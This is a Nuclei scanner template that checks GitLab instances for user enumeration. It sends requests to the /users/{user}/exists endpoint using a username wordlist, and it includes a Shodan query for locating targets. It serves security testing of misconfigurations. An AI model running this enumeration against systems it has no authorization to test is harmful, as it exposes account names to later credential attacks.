id: gitlab-user-enum

info:
  name: GitLab - User Enumeration
  author: Suman_Kar
  severity: info
  reference:
    - https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/malenames-usa-top1000.txt
  metadata:
    max-request: 100
    shodan-query: http.title:"GitLab"
  tags: gitlab,enum,misconfig,fuzz,vuln

http:
  - raw:
      - |
        GET /users/{{user}}/exists HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Referer: {{BaseURL}}

    payloads:
      user: helpers/wordlists/user-list.txt
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "exists.*:true"

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"
# digest: 4a0a00473045022100b5c253a0727ad080f9dad63171d8ed8b704fcc00b0f51237c8c0fd57ca147fad022058eea1cde3989b93fa396c676ee6708d735425668e501a725183878cedd544d0:922c64590222798bb761d5b6d8e72950